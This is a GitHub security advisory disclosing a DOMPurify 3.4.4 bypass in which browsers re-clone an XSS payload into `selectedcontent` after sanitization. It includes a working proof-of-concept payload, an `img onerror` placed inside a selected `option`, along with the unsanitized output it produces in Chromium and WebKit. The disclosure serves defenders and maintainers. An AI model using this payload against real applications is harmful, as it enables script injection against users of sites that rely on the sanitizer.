GHSA-87xg-pxx2-7hvx
DOMPurify XSS via selectedcontent re-clone
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
DOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.
### Details
The chain is as follows:
1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>`
2. DOMPurify walks and sanitizes that generated clone.
3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1`
4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content.
5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
6. The returned string contains unsanitized markup inside `<selectedcontent>`.
### PoC
```js
const dirty =
'<select><button><selectedcontent></selectedcontent></button>' +
'<option selected=javascript:1>' +
'<img src=x onerror=alert(1)>x' +
'</option></select>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
document.body.innerHTML = clean;
```
Observed "sanitized" output in Chromium 148/WebKit 625:
```html
<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>
```
After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:
```html
<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>
```
Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.
### Impact
This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.
Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.
References
External links from the advisory. They lead to third-party sites.